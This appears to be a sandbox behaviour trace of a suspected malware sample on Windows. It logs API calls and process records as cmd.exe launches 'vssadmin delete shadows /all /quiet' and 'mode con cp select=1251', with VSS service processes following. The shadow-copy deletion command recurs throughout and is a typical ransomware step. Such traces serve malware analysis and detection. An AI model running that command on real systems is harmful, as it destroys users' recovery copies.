	[0036.749] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.749] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.749] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de360, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0036.749] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.749] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.750] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.750] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de362, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0036.750] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.750] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.750] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.750] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de364, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0036.750] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.750] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.750] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.750] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0036.750] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.750] GetFileType (hFile=0xe8) returned 0x3
	[0036.750] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.750] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.750] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.750] GetFileType (hFile=0xf4) returned 0x3
	[0036.750] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.750] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0036.750] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x15fb18, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15fb18*=0x24, lpOverlapped=0x0) returned 1
	[0036.750] GetProcessHeap () returned 0x170000
	[0036.750] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4012) returned 0x18f630
	[0036.751] GetProcessHeap () returned 0x170000
	[0036.751] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18f630 | out: hHeap=0x170000) returned 1
	[0036.751] GetProcessHeap () returned 0x170000
	[0036.751] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb0) returned 0x1897e0
	[0036.751] GetProcessHeap () returned 0x170000
	[0036.751] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x22) returned 0x184610
	[0036.751] GetProcessHeap () returned 0x170000
	[0036.751] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x48) returned 0x18aa90
	[0036.752] GetConsoleOutputCP () returned 0x4e3
	[0036.752] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a7dbfe0 | out: lpCPInfo=0x4a7dbfe0) returned 1
	[0036.752] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0036.752] GetConsoleTitleW (in: lpConsoleTitle=0x15fad0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0036.752] GetProcessHeap () returned 0x170000
	[0036.752] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x218) returned 0x189910
	[0036.752] GetProcessHeap () returned 0x170000
	[0036.752] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x5a) returned 0x189b30
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x420) returned 0x189090
	[0036.753] SetErrorMode (uMode=0x0) returned 0x0
	[0036.753] SetErrorMode (uMode=0x1) returned 0x0
	[0036.753] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1890a0, lpFilePart=0x15f360 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x15f360*="Desktop") returned 0x25
	[0036.753] SetErrorMode (uMode=0x0) returned 0x1
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x189090, Size=0x6e) returned 0x189090
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189090) returned 0x6e
	[0036.753] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.753] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x128) returned 0x185b70
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x240) returned 0x171ab0
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x171ab0, Size=0x12a) returned 0x171ab0
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x171ab0) returned 0x12a
	[0036.753] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe8) returned 0x189db0
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x189db0, Size=0x7e) returned 0x189db0
	[0036.753] GetProcessHeap () returned 0x170000
	[0036.753] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189db0) returned 0x7e
	[0036.753] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.753] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0xffffffffffffffff
	[0036.754] GetLastError () returned 0x2
	[0036.754] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0xffffffffffffffff
	[0036.754] GetLastError () returned 0x2
	[0036.754] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.754] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0x189ba0
	[0036.754] FindClose (in: hFindFile=0x189ba0 | out: hFindFile=0x189ba0) returned 1
	[0036.754] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0xffffffffffffffff
	[0036.754] GetLastError () returned 0x2
	[0036.754] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0x189ba0
	[0036.754] FindClose (in: hFindFile=0x189ba0 | out: hFindFile=0x189ba0) returned 1
	[0036.755] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0036.755] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0036.755] GetConsoleTitleW (in: lpConsoleTitle=0x15f620, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0036.755] GetProcessHeap () returned 0x170000
	[0036.755] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x21c) returned 0x189110
	[0036.755] GetConsoleTitleW (in: lpConsoleTitle=0x189120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0036.755] GetProcessHeap () returned 0x170000
	[0036.755] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x189110, Size=0xc0) returned 0x189110
	[0036.755] GetProcessHeap () returned 0x170000
	[0036.755] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189110) returned 0xc0
	[0036.755] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0036.756] GetProcessHeap () returned 0x170000
	[0036.756] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x189110 | out: hHeap=0x170000) returned 1
	[0036.756] InitializeProcThreadAttributeList (in: lpAttributeList=0x15f3d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x15f398 | out: lpAttributeList=0x15f3d8, lpSize=0x15f398) returned 1
	[0036.756] UpdateProcThreadAttribute (in: lpAttributeList=0x15f3d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x15f388, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x15f3d8, lpPreviousValue=0x0) returned 1
	[0036.756] GetStartupInfoW (in: lpStartupInfo=0x15f4f0 | out: lpStartupInfo=0x15f4f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) 
	[0036.756] GetProcessHeap () returned 0x170000
	[0036.756] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x20) returned 0x184640
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.756] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.757] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.757] GetProcessHeap () returned 0x170000
	[0036.757] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184640 | out: hHeap=0x170000) returned 1
	[0036.757] GetProcessHeap () returned 0x170000
	[0036.757] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x12) returned 0x188900
	[0036.757] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x15f410*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x15f3c0 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0x15f3c0*(hProcess=0x50, hThread=0x54, dwProcessId=0x988, dwThreadId=0x98c)) returned 1
	[0036.767] CloseHandle (hObject=0x54) returned 1
	[0036.767] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0036.767] GetProcessHeap () returned 0x170000
	[0036.767] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18eb10 | out: hHeap=0x170000) returned 1
	[0036.767] GetEnvironmentStringsW () returned 0x18eb10*
	[0036.767] GetProcessHeap () returned 0x170000
	[0036.767] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb0e) returned 0x18f630
	[0036.767] FreeEnvironmentStringsW (penv=0x18eb10) returned 1
	[0036.767] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x15ecc8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x15ecc8, ReturnLength=0x0) returned 0x0
	[0036.767] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x15ed00, nSize=0x380, lpNumberOfBytesRead=0x15ecc0 | out: lpBuffer=0x15ed00*, lpNumberOfBytesRead=0x15ecc0*=0x380) returned 1
	[0036.767] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) 

Process:
	id = "3"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x50621000"
	os_pid = "0x968"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x92c"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 13
	os_tid = 0x96c


Process:
	id = "4"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x4fc32000"
	os_pid = "0x988"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x92c"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 20
	os_tid = 0x98c


Thread:
	id = 21
	os_tid = 0x990


Thread:
	id = 22
	os_tid = 0x994


Thread:
	id = 24
	os_tid = 0xa20


Thread:
	id = 25
	os_tid = 0xa24


Process:
	id = "5"
	image_name = "vssvc.exe"
	filename = "c:\\windows\\system32\\vssvc.exe"
	page_root = "0x4c457000"
	os_pid = "0xa28"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b7e890"
	monitor_reason = "rpc_server"
	parent_id = "4"
	os_parent_pid = "0x988"
	cmd_line = "C:\\Windows\\system32\\vssvc.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0007846e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 27
	os_tid = 0xa4c


Thread:
	id = 28
	os_tid = 0xa40


Thread:
	id = 29
	os_tid = 0xa38

	[0045.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfad820 | out: lpSystemTimeAsFileTime=0xfad820*(dwLowDateTime=0xbb33980, dwHighDateTime=0x1d542e6)) 
	[0045.672] GetCurrentProcessId () returned 0xa28
	[0045.672] GetCurrentThreadId () returned 0xa38
	[0045.672] GetTickCount () returned 0x1acb2
	[0045.672] QueryPerformanceCounter (in: lpPerformanceCount=0xfad828 | out: lpPerformanceCount=0xfad828*=16589856797) returned 1
	[0045.672] malloc (_Size=0x100) returned 0x1e8e80
	[0068.449] free (_Block=0x1e8e80) 

Thread:
	id = 30
	os_tid = 0xa34


Thread:
	id = 31
	os_tid = 0xa30


Thread:
	id = 32
	os_tid = 0xa2c


Thread:
	id = 33
	os_tid = 0xa50


Thread:
	id = 48
	os_tid = 0xa6c


Thread:
	id = 55
	os_tid = 0xb0c


Thread:
	id = 78
	os_tid = 0xbd0


Process:
	id = "6"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x15f04000"
	os_pid = "0x3f8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "5"
	os_parent_pid = "0xa28"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7]


Thread:
	id = 34
	os_tid = 0xa00


Thread:
	id = 35
	os_tid = 0x30c


Thread:
	id = 36
	os_tid = 0x76c


Thread:
	id = 37
	os_tid = 0x758


Thread:
	id = 38
	os_tid = 0x74c


Thread:
	id = 39
	os_tid = 0x72c


Thread:
	id = 40
	os_tid = 0x71c


Thread:
	id = 41
	os_tid = 0x718


Thread:
	id = 42
	os_tid = 0x638


Thread:
	id = 43
	os_tid = 0x154


Thread:
	id = 44
	os_tid = 0x150


Thread:
	id = 45
	os_tid = 0x12c


Thread:
	id = 46
	os_tid = 0x120


Thread:
	id = 47
	os_tid = 0x3fc


Thread:
	id = 56
	os_tid = 0xb5c


Thread:
	id = 76
	os_tid = 0xbbc


Thread:
	id = 81
	os_tid = 0x820


Process:
	id = "7"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x4615c000"
	os_pid = "0xa54"
	os_integrity_level = "0x4000"
	os_privileges = "0x60814080"
	monitor_reason = "rpc_server"
	parent_id = "5"
	os_parent_pid = "0xa28"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000790e0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 49
	os_tid = 0xa70


Thread:
	id = 50
	os_tid = 0xa68


Thread:
	id = 51
	os_tid = 0xa64


Thread:
	id = 52
	os_tid = 0xa60


Thread:
	id = 53
	os_tid = 0xa5c


Thread:
	id = 54
	os_tid = 0xa58


Thread:
	id = 79
	os_tid = 0xbd4


Process:
	id = "8"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x910c000"
	os_pid = "0x124"
	os_integrity_level = "0x4000"
	os_privileges = "0x60a00000"
	monitor_reason = "rpc_server"
	parent_id = "6"
	os_parent_pid = "0x3f8"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7]


Thread:
	id = 57
	os_tid = 0xa04


Thread:
	id = 58
	os_tid = 0x890


Thread:
	id = 59
	os_tid = 0x6ec


Thread:
	id = 60
	os_tid = 0x754


Thread:
	id = 61
	os_tid = 0x704


Thread:
	id = 62
	os_tid = 0x6e0


Thread:
	id = 63
	os_tid = 0x6b0


Thread:
	id = 64
	os_tid = 0x698


Thread:
	id = 65
	os_tid = 0x678


Thread:
	id = 66
	os_tid = 0x630


Thread:
	id = 67
	os_tid = 0x610


Thread:
	id = 68
	os_tid = 0x14c


Thread:
	id = 69
	os_tid = 0x140


Thread:
	id = 70
	os_tid = 0x158


Thread:
	id = 71
	os_tid = 0x294


Thread:
	id = 72
	os_tid = 0x218


Thread:
	id = 73
	os_tid = 0x230


Thread:
	id = 74
	os_tid = 0x21c


Thread:
	id = 75
	os_tid = 0x1c4


Thread:
	id = 77
	os_tid = 0xbc0


Thread:
	id = 80
	os_tid = 0xbe0


Process:
	id = "9"
	image_name = "swpesp.exe"
	filename = "c:\\windows\\system32\\swpesp.exe"
	page_root = "0x76104000"
	os_pid = "0x4d0"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Windows\\System32\\swpesp.exe\" "
